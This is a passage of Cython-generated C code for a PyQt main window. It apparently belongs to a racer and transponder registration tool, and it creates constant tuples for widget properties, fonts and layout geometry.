(unlikely(!__pyx_tuple__180)) __PYX_ERR(0, 303, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__180); __Pyx_GIVEREF(__pyx_tuple__180); /* "Ui_MainWindow.py":304 * self.R_licences.setToolTip("") * self.R_licences.setStatusTip("") * self.R_licences.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_licences.setAccessibleDescription("") * self.R_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) */ __pyx_tuple__181 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__181)) __PYX_ERR(0, 304, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__181); __Pyx_GIVEREF(__pyx_tuple__181); /* "Ui_MainWindow.py":305 * self.R_licences.setStatusTip("") * self.R_licences.setAccessibleName("") * self.R_licences.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) * self.R_licences.setInputMask("") */ __pyx_tuple__182 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__182)) __PYX_ERR(0, 305, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__182); __Pyx_GIVEREF(__pyx_tuple__182); /* "Ui_MainWindow.py":307 * self.R_licences.setAccessibleDescription("") * self.R_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) * self.R_licences.setInputMask("") # <<<<<<<<<<<<<< * self.R_licences.setText("") * self.R_licences.setObjectName("R_licences") */ __pyx_tuple__183 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__183)) __PYX_ERR(0, 307, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__183); __Pyx_GIVEREF(__pyx_tuple__183); /* "Ui_MainWindow.py":308 * self.R_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) * self.R_licences.setInputMask("") * self.R_licences.setText("") # <<<<<<<<<<<<<< * self.R_licences.setObjectName("R_licences") * self.formLayout.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.R_licences) */ __pyx_tuple__184 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__184)) __PYX_ERR(0, 308, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__184); __Pyx_GIVEREF(__pyx_tuple__184); /* "Ui_MainWindow.py":309 * self.R_licences.setInputMask("") * self.R_licences.setText("") * self.R_licences.setObjectName("R_licences") # <<<<<<<<<<<<<< * self.formLayout.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.R_licences) * spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) */ __pyx_tuple__185 = PyTuple_Pack(1, __pyx_n_u_R_licences); if (unlikely(!__pyx_tuple__185)) __PYX_ERR(0, 309, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__185); __Pyx_GIVEREF(__pyx_tuple__185); /* "Ui_MainWindow.py":314 * self.formLayout.setItem(25, QtWidgets.QFormLayout.SpanningRole, spacerItem) * self.label_7 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_7.setObjectName("label_7") # <<<<<<<<<<<<<< * self.formLayout.setWidget(27, QtWidgets.QFormLayout.LabelRole, self.label_7) * self.R_transponder = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_tuple__186 = PyTuple_Pack(1, __pyx_n_u_label_7); if (unlikely(!__pyx_tuple__186)) __PYX_ERR(0, 314, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__186); __Pyx_GIVEREF(__pyx_tuple__186); /* "Ui_MainWindow.py":317 * self.formLayout.setWidget(27, QtWidgets.QFormLayout.LabelRole, self.label_7) * self.R_transponder = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_transponder.setToolTip("") # <<<<<<<<<<<<<< * self.R_transponder.setStatusTip("") * self.R_transponder.setAccessibleName("") */ __pyx_tuple__187 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__187)) __PYX_ERR(0, 317, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__187); __Pyx_GIVEREF(__pyx_tuple__187); /* "Ui_MainWindow.py":318 * self.R_transponder = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_transponder.setToolTip("") * self.R_transponder.setStatusTip("") # <<<<<<<<<<<<<< * self.R_transponder.setAccessibleName("") * self.R_transponder.setAccessibleDescription("") */ __pyx_tuple__188 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__188)) __PYX_ERR(0, 318, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__188); __Pyx_GIVEREF(__pyx_tuple__188); /* "Ui_MainWindow.py":319 * self.R_transponder.setToolTip("") * self.R_transponder.setStatusTip("") * self.R_transponder.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_transponder.setAccessibleDescription("") * self.R_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) */ __pyx_tuple__189 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__189)) __PYX_ERR(0, 319, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__189); __Pyx_GIVEREF(__pyx_tuple__189); /* "Ui_MainWindow.py":320 * self.R_transponder.setStatusTip("") * self.R_transponder.setAccessibleName("") * self.R_transponder.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_transponder.setText("") */ __pyx_tuple__190 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__190)) __PYX_ERR(0, 320, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__190); __Pyx_GIVEREF(__pyx_tuple__190); /* "Ui_MainWindow.py":322 * self.R_transponder.setAccessibleDescription("") * self.R_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_transponder.setText("") # <<<<<<<<<<<<<< * self.R_transponder.setMaxLength(12) * self.R_transponder.setObjectName("R_transponder") */ __pyx_tuple__191 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__191)) __PYX_ERR(0, 322, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__191); __Pyx_GIVEREF(__pyx_tuple__191); /* "Ui_MainWindow.py":323 * self.R_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) * self.R_transponder.setText("") * self.R_transponder.setMaxLength(12) # <<<<<<<<<<<<<< * self.R_transponder.setObjectName("R_transponder") * self.formLayout.setWidget(27, QtWidgets.QFormLayout.FieldRole, self.R_transponder) */ __pyx_tuple__192 = PyTuple_Pack(1, __pyx_int_12); if (unlikely(!__pyx_tuple__192)) __PYX_ERR(0, 323, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__192); __Pyx_GIVEREF(__pyx_tuple__192); /* "Ui_MainWindow.py":324 * self.R_transponder.setText("") * self.R_transponder.setMaxLength(12) * self.R_transponder.setObjectName("R_transponder") # <<<<<<<<<<<<<< * self.formLayout.setWidget(27, QtWidgets.QFormLayout.FieldRole, self.R_transponder) * self.Tab_Container.addTab(self.T_Racer, "") */ __pyx_tuple__193 = PyTuple_Pack(1, __pyx_n_u_R_transponder); if (unlikely(!__pyx_tuple__193)) __PYX_ERR(0, 324, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__193); __Pyx_GIVEREF(__pyx_tuple__193); /* "Ui_MainWindow.py":328 * self.Tab_Container.addTab(self.T_Racer, "") * self.T_Category = QtWidgets.QWidget() * self.T_Category.setObjectName("T_Category") # <<<<<<<<<<<<<< * self.Tab_Container.addTab(self.T_Category, "") * self.T_Racer_Race = QtWidgets.QWidget() */ __pyx_tuple__194 = PyTuple_Pack(1, __pyx_n_u_T_Category); if (unlikely(!__pyx_tuple__194)) __PYX_ERR(0, 328, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__194); __Pyx_GIVEREF(__pyx_tuple__194); /* "Ui_MainWindow.py":331 * self.Tab_Container.addTab(self.T_Category, "") * self.T_Racer_Race = QtWidgets.QWidget() * self.T_Racer_Race.setObjectName("T_Racer_Race") # <<<<<<<<<<<<<< * self.gridLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) * self.gridLayoutWidget_3.setGeometry(QtCore.QRect(0, 490, 261, 41)) */ __pyx_tuple__195 = PyTuple_Pack(1, __pyx_n_u_T_Racer_Race); if (unlikely(!__pyx_tuple__195)) __PYX_ERR(0, 331, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__195); __Pyx_GIVEREF(__pyx_tuple__195); /* "Ui_MainWindow.py":333 * self.T_Racer_Race.setObjectName("T_Racer_Race") * self.gridLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) * self.gridLayoutWidget_3.setGeometry(QtCore.QRect(0, 490, 261, 41)) # <<<<<<<<<<<<<< * self.gridLayoutWidget_3.setObjectName("gridLayoutWidget_3") * self.gridLayout_3 = QtWidgets.QGridLayout(self.gridLayoutWidget_3) */ __pyx_tuple__196 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_490, __pyx_int_261, __pyx_int_41); if (unlikely(!__pyx_tuple__196)) __PYX_ERR(0, 333, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__196); __Pyx_GIVEREF(__pyx_tuple__196); /* "Ui_MainWindow.py":334 * self.gridLayoutWidget_3 = QtWidgets.QWidget(self.T_Racer_Race) * self.gridLayoutWidget_3.setGeometry(QtCore.QRect(0, 490, 261, 41)) * self.gridLayoutWidget_3.setObjectName("gridLayoutWidget_3") # <<<<<<<<<<<<<< * self.gridLayout_3 = QtWidgets.QGridLayout(self.gridLayoutWidget_3) * self.gridLayout_3.setContentsMargins(6, 0, 6, 0) */ __pyx_tuple__197 = PyTuple_Pack(1, __pyx_n_u_gridLayoutWidget_3); if (unlikely(!__pyx_tuple__197)) __PYX_ERR(0, 334, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__197); __Pyx_GIVEREF(__pyx_tuple__197); /* "Ui_MainWindow.py":336 * self.gridLayoutWidget_3.setObjectName("gridLayoutWidget_3") * self.gridLayout_3 = QtWidgets.QGridLayout(self.gridLayoutWidget_3) * self.gridLayout_3.setContentsMargins(6, 0, 6, 0) # <<<<<<<<<<<<<< * self.gridLayout_3.setHorizontalSpacing(4) * self.gridLayout_3.setVerticalSpacing(0) */ __pyx_tuple__198 = PyTuple_Pack(4, __pyx_int_6, __pyx_int_0, __pyx_int_6, __pyx_int_0); if (unlikely(!__pyx_tuple__198)) __PYX_ERR(0, 336, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__198); __Pyx_GIVEREF(__pyx_tuple__198); /* "Ui_MainWindow.py":337 * self.gridLayout_3 = QtWidgets.QGridLayout(self.gridLayoutWidget_3) * self.gridLayout_3.setContentsMargins(6, 0, 6, 0) * self.gridLayout_3.setHorizontalSpacing(4) # <<<<<<<<<<<<<< * self.gridLayout_3.setVerticalSpacing(0) * self.gridLayout_3.setObjectName("gridLayout_3") */ __pyx_tuple__199 = PyTuple_Pack(1, __pyx_int_4); if (unlikely(!__pyx_tuple__199)) __PYX_ERR(0, 337, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__199); __Pyx_GIVEREF(__pyx_tuple__199); /* "Ui_MainWindow.py":338 * self.gridLayout_3.setContentsMargins(6, 0, 6, 0) * self.gridLayout_3.setHorizontalSpacing(4) * self.gridLayout_3.setVerticalSpacing(0) # <<<<<<<<<<<<<< * self.gridLayout_3.setObjectName("gridLayout_3") * self.horizontalLayout_7 = QtWidgets.QHBoxLayout() */ __pyx_tuple__200 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__200)) __PYX_ERR(0, 338, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__200); __Pyx_GIVEREF(__pyx_tuple__200); /* "Ui_MainWindow.py":339 * self.gridLayout_3.setHorizontalSpacing(4) * self.gridLayout_3.setVerticalSpacing(0) * self.gridLayout_3.setObjectName("gridLayout_3") # <<<<<<<<<<<<<< * self.horizontalLayout_7 = QtWidgets.QHBoxLayout() * self.horizontalLayout_7.setObjectName("horizontalLayout_7") */ __pyx_tuple__201 = PyTuple_Pack(1, __pyx_n_u_gridLayout_3); if (unlikely(!__pyx_tuple__201)) __PYX_ERR(0, 339, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__201); __Pyx_GIVEREF(__pyx_tuple__201); /* "Ui_MainWindow.py":341 * self.gridLayout_3.setObjectName("gridLayout_3") * self.horizontalLayout_7 = QtWidgets.QHBoxLayout() * self.horizontalLayout_7.setObjectName("horizontalLayout_7") # <<<<<<<<<<<<<< * self.label_33 = QtWidgets.QLabel(self.gridLayoutWidget_3) * self.label_33.setEnabled(True) */ __pyx_tuple__202 = PyTuple_Pack(1, __pyx_n_u_horizontalLayout_7); if (unlikely(!__pyx_tuple__202)) __PYX_ERR(0, 341, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__202); __Pyx_GIVEREF(__pyx_tuple__202); /* "Ui_MainWindow.py":343 * self.horizontalLayout_7.setObjectName("horizontalLayout_7") * self.label_33 = QtWidgets.QLabel(self.gridLayoutWidget_3) * self.label_33.setEnabled(True) # <<<<<<<<<<<<<< * self.label_33.setMaximumSize(QtCore.QSize(80, 60)) * font = QtGui.QFont() */ __pyx_tuple__203 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__203)) __PYX_ERR(0, 343, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__203); __Pyx_GIVEREF(__pyx_tuple__203); /* "Ui_MainWindow.py":344 * self.label_33 = QtWidgets.QLabel(self.gridLayoutWidget_3) * self.label_33.setEnabled(True) * self.label_33.setMaximumSize(QtCore.QSize(80, 60)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setPointSize(10) */ __pyx_tuple__204 = PyTuple_Pack(2, __pyx_int_80, __pyx_int_60); if (unlikely(!__pyx_tuple__204)) __PYX_ERR(0, 344, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__204); __Pyx_GIVEREF(__pyx_tuple__204); /* "Ui_MainWindow.py":346 * self.label_33.setMaximumSize(QtCore.QSize(80, 60)) * font = QtGui.QFont() * font.setPointSize(10) # <<<<<<<<<<<<<< * font.setBold(False) * font.setWeight(50) */ __pyx_tuple__205 = PyTuple_Pack(1, __pyx_int_10); if (unlikely(!__pyx_tuple__205)) __PYX_ERR(0, 346, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__205); __Pyx_GIVEREF(__pyx_tuple__205); /* "Ui_MainWindow.py":347 * font = QtGui.QFont() * font.setPointSize(10) * font.setBold(False) # <<<<<<<<<<<<<< * font.setWeight(50) * font.setKerning(True) */ __pyx_tuple__206 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__206)) __PYX_ERR(0, 347, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__206); __Pyx_GIVEREF(__pyx_tuple__206); /* "Ui_MainWindow.py":348 * font.setPointSize(10) * font.setBold(False) * font.setWeight(50) # <<<<<<<<<<<<<< * font.setKerning(True) * self.label_33.setFont(font) */ __pyx_tuple__207 = PyTuple_Pack(1, __pyx_int_50); if (unlikely(!__pyx_tuple__207)) __PYX_ERR(0, 348, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__207); __Pyx_GIVEREF(__pyx_tuple__207); /* "Ui_MainWindow.py":349 * font.setBold(False) * font.setWeight(50) * font.setKerning(True) # <<<<<<<<<<<<<< * self.label_33.setFont(font) * self.label_33.setToolTip("") */ __pyx_tuple__208 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__208)) __PYX_ERR(0, 349, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__208); __Pyx_GIVEREF(__pyx_tuple__208); /* "Ui_MainWindow.py":351 * font.setKerning(True) * self.label_33.setFont(font) * self.label_33.setToolTip("") # <<<<<<<<<<<<<< * self.label_33.setStatusTip("") * self.label_33.setAccessibleName("") */ __pyx_tuple__209 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__209)) __PYX_ERR(0, 351, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__209); __Pyx_GIVEREF(__pyx_tuple__209); /* "Ui_MainWindow.py":352 * self.label_33.setFont(font) * self.label_33.setToolTip("") * self.label_33.setStatusTip("") # <<<<<<<<<<<<<< * self.label_33.setAccessibleName("") * self.label_33.setAccessibleDescription("") */ __pyx_tuple__210 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__210)) __PYX_ERR(0, 352, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__210); __Pyx_GIVEREF(__pyx_tuple__210); /* "Ui_MainWindow.py":353 * self.label_33.setToolTip("") * self.label_33.setStatusTip("") * self.label_33.setAccessibleName("") # <<<<<<<<<<<<<< * self.label_33.setAccessibleDescription("") * self.label_33.setLayoutDirection(QtCore.Qt.RightToLeft) */ __pyx_tuple__211 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__211)) __PYX_ERR(0, 353, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__211); __Pyx_GIVEREF(__pyx_tuple__211); /* "Ui_MainWindow.py":354 * self.label_33.setStatusTip("") * self.label_33.setAccessibleName("") * self.label_33.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.label_33.setLayoutDirection(QtCore.Qt.RightToLeft) * self.label_33.setObjectName("label_33") */ __pyx_tuple__212 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__212)) __PYX_ERR(0, 354, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__212); __Pyx_GIVEREF(__pyx_tuple__212); /* "Ui_MainWindow.py":356 * self.label_33.setAccessibleDescription("") * self.label_33.setLayoutDirection(QtCore.Qt.RightToLeft) * self.label_33.setObjectName("label_33") # <<<<<<<<<<<<<< * self.horizontalLayout_7.addWidget(self.label_33) * self.RR_findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget_3) */ __pyx_tuple__213 = PyTuple_Pack(1, __pyx_n_u_label_33); if (unlikely(!__pyx_tuple__213)) __PYX_ERR(0, 356, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__213); __Pyx_GIVEREF(__pyx_tuple__213); /* "Ui_MainWindow.py":359 * self.horizontalLayout_7.addWidget(self.label_33) * self.RR_findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget_3) * self.RR_findNumber.setMaximumSize(QtCore.QSize(100, 60)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setKerning(True) */ __pyx_tuple__214 = PyTuple_Pack(2, __pyx_int_100, __pyx_int_60); if (unlikely(!__pyx_tuple__214)) __PYX_ERR(0, 359, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__214); __Pyx_GIVEREF(__pyx_tuple__214); /* "Ui_MainWindow.py":361 * self.RR_findNumber.setMaximumSize(QtCore.QSize(100, 60)) * font = QtGui.QFont() * font.setKerning(True) # <<<<<<<<<<<<<< * self.RR_findNumber.setFont(font) * self.RR_findNumber.setMouseTracking(True) */ __pyx_tuple__215 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__215)) __PYX_ERR(0, 361, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__215); __Pyx_GIVEREF(__pyx_tuple__215); /* "Ui_MainWindow.py":363 * font.setKerning(True) * self.RR_findNumber.setFont(font) * self.RR_findNumber.setMouseTracking(True) # <<<<<<<<<<<<<< * self.RR_findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) * self.RR_findNumber.setAcceptDrops(False) */ __pyx_tuple__216 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__216)) __PYX_ERR(0, 363, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__216); __Pyx_GIVEREF(__pyx_tuple__216); /* "Ui_MainWindow.py":365 * self.RR_findNumber.setMouseTracking(True) * self.RR_findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) * self.RR_findNumber.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.RR_findNumber.setToolTip("") * self.RR_findNumber.setStatusTip("") */ __pyx_tuple__217 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__217)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__217); __Pyx_GIVEREF(__pyx_tuple__217); /* "Ui_MainWindow.py":366 * self.RR_findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) * self.RR_findNumber.setAcceptDrops(False) * self.RR_findNumber.setToolTip("") # <<<<<<<<<<<<<< * self.RR_findNumber.setStatusTip("") * self.RR_findNumber.setAccessibleName("") */ __pyx_tuple__218 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__218)) __PYX_ERR(0, 366, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__218); __Pyx_GIVEREF(__pyx_tuple__218); /* "Ui_MainWindow.py":367 * self.RR_findNumber.setAcceptDrops(False) * self.RR_findNumber.setToolTip("") * self.RR_findNumber.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_findNumber.setAccessibleName("") * self.RR_findNumber.setAccessibleDescription("") */ __pyx_tuple__219 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__219)) __PYX_ERR(0, 367, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__219); __Pyx_GIVEREF(__pyx_tuple__219); /* "Ui_MainWindow.py":368 * self.RR_findNumber.setToolTip("") * self.RR_findNumber.setStatusTip("") * self.RR_findNumber.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_findNumber.setAccessibleDescription("") * self.RR_findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) */ __pyx_tuple__220 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__220)) __PYX_ERR(0, 368, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__220); __Pyx_GIVEREF(__pyx_tuple__220); /* "Ui_MainWindow.py":369 * self.RR_findNumber.setStatusTip("") * self.RR_findNumber.setAccessibleName("") * self.RR_findNumber.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) * self.RR_findNumber.setInputMask("") */ __pyx_tuple__221 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__221)) __PYX_ERR(0, 369, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__221); __Pyx_GIVEREF(__pyx_tuple__221); /* "Ui_MainWindow.py":371 * self.RR_findNumber.setAccessibleDescription("") * self.RR_findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) * self.RR_findNumber.setInputMask("") # <<<<<<<<<<<<<< * self.RR_findNumber.setText("") * self.RR_findNumber.setMaxLength(5) */ __pyx_tuple__222 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__222)) __PYX_ERR(0, 371, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__222); __Pyx_GIVEREF(__pyx_tuple__222); /* "Ui_MainWindow.py":372 * self.RR_findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) * self.RR_findNumber.setInputMask("") * self.RR_findNumber.setText("") # <<<<<<<<<<<<<< * self.RR_findNumber.setMaxLength(5) * self.RR_findNumber.setPlaceholderText("") */ __pyx_tuple__223 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__223)) __PYX_ERR(0, 372, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__223); __Pyx_GIVEREF(__pyx_tuple__223); /* "Ui_MainWindow.py":373 * self.RR_findNumber.setInputMask("") * self.RR_findNumber.setText("") * self.RR_findNumber.setMaxLength(5) # <<<<<<<<<<<<<< * self.RR_findNumber.setPlaceholderText("") * self.RR_findNumber.setObjectName("RR_findNumber") */ __pyx_tuple__224 = PyTuple_Pack(1, __pyx_int_5); if (unlikely(!__pyx_tuple__224)) __PYX_ERR(0, 373, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__224); __Pyx_GIVEREF(__pyx_tuple__224); /* "Ui_MainWindow.py":374 * self.RR_findNumber.setText("") * self.RR_findNumber.setMaxLength(5) * self.RR_findNumber.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_findNumber.setObjectName("RR_findNumber") * self.horizontalLayout_7.addWidget(self.RR_findNumber) */ __pyx_tuple__225 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__225)) __PYX_ERR(0, 374, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__225); __Pyx_GIVEREF(__pyx_tuple__225); /* "Ui_MainWindow.py":375 * self.RR_findNumber.setMaxLength(5) * self.RR_findNumber.setPlaceholderText("") * self.RR_findNumber.setObjectName("RR_findNumber") # <<<<<<<<<<<<<< * self.horizontalLayout_7.addWidget(self.RR_findNumber) * self.gridLayout_3.addLayout(self.horizontalLayout_7, 0, 0, 1, 1) */ __pyx_tuple__226 = PyTuple_Pack(1, __pyx_n_u_RR_findNumber); if (unlikely(!__pyx_tuple__226)) __PYX_ERR(0, 375, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__226); __Pyx_GIVEREF(__pyx_tuple__226); /* "Ui_MainWindow.py":379 * self.gridLayout_3.addLayout(self.horizontalLayout_7, 0, 0, 1, 1) * self.L_RList = QtWidgets.QListWidget(self.T_Racer_Race) * self.L_RList.setGeometry(QtCore.QRect(0, 0, 256, 491)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setFamily("Bitstream Charter") */ __pyx_tuple__227 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_256, __pyx_int_491); if (unlikely(!__pyx_tuple__227)) __PYX_ERR(0, 379, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__227); __Pyx_GIVEREF(__pyx_tuple__227); /* "Ui_MainWindow.py":381 * self.L_RList.setGeometry(QtCore.QRect(0, 0, 256, 491)) * font = QtGui.QFont() * font.setFamily("Bitstream Charter") # <<<<<<<<<<<<<< * font.setPointSize(10) * font.setBold(False) */ __pyx_tuple__228 = PyTuple_Pack(1, __pyx_kp_u_Bitstream_Charter); if (unlikely(!__pyx_tuple__228)) __PYX_ERR(0, 381, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__228); __Pyx_GIVEREF(__pyx_tuple__228); /* "Ui_MainWindow.py":382 * font = QtGui.QFont() * font.setFamily("Bitstream Charter") * font.setPointSize(10) # <<<<<<<<<<<<<< * font.setBold(False) * font.setItalic(False) */ __pyx_tuple__229 = PyTuple_Pack(1, __pyx_int_10); if (unlikely(!__pyx_tuple__229)) __PYX_ERR(0, 382, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__229); __Pyx_GIVEREF(__pyx_tuple__229); /* "Ui_MainWindow.py":383 * font.setFamily("Bitstream Charter") * font.setPointSize(10) * font.setBold(False) # <<<<<<<<<<<<<< * font.setItalic(False) * font.setWeight(50) */ __pyx_tuple__230 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__230)) __PYX_ERR(0, 383, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__230); __Pyx_GIVEREF(__pyx_tuple__230); /* "Ui_MainWindow.py":384 * font.setPointSize(10) * font.setBold(False) * font.setItalic(False) # <<<<<<<<<<<<<< * font.setWeight(50) * font.setKerning(False) */ __pyx_tuple__231 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__231)) __PYX_ERR(0, 384, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__231); __Pyx_GIVEREF(__pyx_tuple__231); /* "Ui_MainWindow.py":385 * font.setBold(False) * font.setItalic(False) * font.setWeight(50) # <<<<<<<<<<<<<< * font.setKerning(False) * self.L_RList.setFont(font) */ __pyx_tuple__232 = PyTuple_Pack(1, __pyx_int_50); if (unlikely(!__pyx_tuple__232)) __PYX_ERR(0, 385, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__232); __Pyx_GIVEREF(__pyx_tuple__232); /* "Ui_MainWindow.py":386 * font.setItalic(False) * font.setWeight(50) * font.setKerning(False) # <<<<<<<<<<<<<< * self.L_RList.setFont(font) * self.L_RList.setMouseTracking(True) */ __pyx_tuple__233 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__233)) __PYX_ERR(0, 386, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__233); __Pyx_GIVEREF(__pyx_tuple__233); /* "Ui_MainWindow.py":388 * font.setKerning(False) * self.L_RList.setFont(font) * self.L_RList.setMouseTracking(True) # <<<<<<<<<<<<<< * self.L_RList.setAcceptDrops(True) * self.L_RList.setStyleSheet("font: 10pt \"Bitstream Charter\";") */ __pyx_tuple__234 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__234)) __PYX_ERR(0, 388, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__234); __Pyx_GIVEREF(__pyx_tuple__234); /* "Ui_MainWindow.py":389 * self.L_RList.setFont(font) * self.L_RList.setMouseTracking(True) * self.L_RList.setAcceptDrops(True) # <<<<<<<<<<<<<< * self.L_RList.setStyleSheet("font: 10pt \"Bitstream Charter\";") * 